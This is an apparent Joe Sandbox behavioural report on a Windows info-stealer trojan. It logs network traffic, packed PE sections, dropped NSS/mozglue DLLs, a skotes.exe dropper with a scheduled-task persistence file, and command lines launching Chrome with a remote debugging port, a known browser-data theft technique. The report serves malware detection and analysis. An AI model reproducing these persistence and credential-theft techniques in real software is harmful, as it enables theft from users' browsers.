Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49774 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: .rsrc
Source: random[1].exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.14.dr	Static PE information: section name:
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name:
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: .rsrc
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: .idata
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C47ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C4BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C4BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C45F280

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4535A0	0_2_6C4535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C465440	0_2_6C465440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C545C	0_2_6C4C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CAC00	0_2_6C4CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C495C10	0_2_6C495C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4A2C10	0_2_6C4A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C542B	0_2_6C4C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4664C0	0_2_6C4664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47D4D0	0_2_6C47D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45D4E0	0_2_6C45D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C496CF0	0_2_6C496CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C466C80	0_2_6C466C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4B34A0	0_2_6C4B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4BC4A0	0_2_6C4BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C46FD00	0_2_6C46FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47ED10	0_2_6C47ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C480512	0_2_6C480512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C490DD0	0_2_6C490DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4B85F0	0_2_6C4B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4A2E4E	0_2_6C4A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C474640	0_2_6C474640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C479E50	0_2_6C479E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C493E50	0_2_6C493E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C6E63	0_2_6C4C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45C670	0_2_6C45C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4A5600	0_2_6C4A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C497E10	0_2_6C497E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4B9E30	0_2_6C4B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C76E3	0_2_6C4C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45BEF0	0_2_6C45BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C46FEF0	0_2_6C46FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4BE680	0_2_6C4BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C475E90	0_2_6C475E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4B4EA0	0_2_6C4B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C469F00	0_2_6C469F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C497710	0_2_6C497710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45DFE0	0_2_6C45DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C486FF0	0_2_6C486FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4A77A0	0_2_6C4A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C478850	0_2_6C478850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47D850	0_2_6C47D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C49F070	0_2_6C49F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C467810	0_2_6C467810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C49B820	0_2_6C49B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4A4820	0_2_6C4A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C50C7	0_2_6C4C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47C0E0	0_2_6C47C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4958E0	0_2_6C4958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4860A0	0_2_6C4860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C47A940	0_2_6C47A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C46D960	0_2_6C46D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4AB970	0_2_6C4AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CB170	0_2_6C4CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C495190	0_2_6C495190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4B2990	0_2_6C4B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45C9A0	0_2_6C45C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C48D9B0	0_2_6C48D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C499A60	0_2_6C499A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C498AC0	0_2_6C498AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C471AF0	0_2_6C471AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C49E2F0	0_2_6C49E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CBA90	0_2_6C4CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4522A0	0_2_6C4522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C484AA0	0_2_6C484AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C46CAB0	0_2_6C46CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C2AB0	0_2_6C4C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C455340	0_2_6C455340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C46C370	0_2_6C46C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C49D320	0_2_6C49D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C53C8	0_2_6C4C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C45F380	0_2_6C45F380

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C4994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C48CBE8 appears 134 times

Source: 804e4a2fb7.exe.14.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.14.dr	Static PE information: No import functions for PE file found

Source: 804e4a2fb7.exe.14.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.14.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2253926978.000000006C6D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUI vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: dsxuiljp ZLIB complexity 0.9947752122031059
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: random[1].exe.0.dr	Static PE information: Section: cqnnvyhp ZLIB complexity 0.9946645100911459
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: Section: cqnnvyhp ZLIB complexity 0.9946645100911459
Source: skotes.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: skotes.exe.9.dr	Static PE information: Section: cqnnvyhp ZLIB complexity 0.9946645100911459

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/34@2/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C4B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\2262G8IS.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1980272260.000000001D225000.00000004.00000020.00020000.00000000.sdmp, EHCBAAAFHJDHJJKEBGHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2252430766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDHCFIDAKJD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3392 --field-trial-handle=2936,i,10454641456721250050,18231566279611338809,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHCFIDAKJD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHCFIDAKJD.exe "C:\Users\user\DocumentsDHCFIDAKJD.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHCFIDAKJD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3392 --field-trial-handle=2936,i,10454641456721250050,18231566279611338809,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHCFIDAKJD.exe "C:\Users\user\DocumentsDHCFIDAKJD.exe"	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
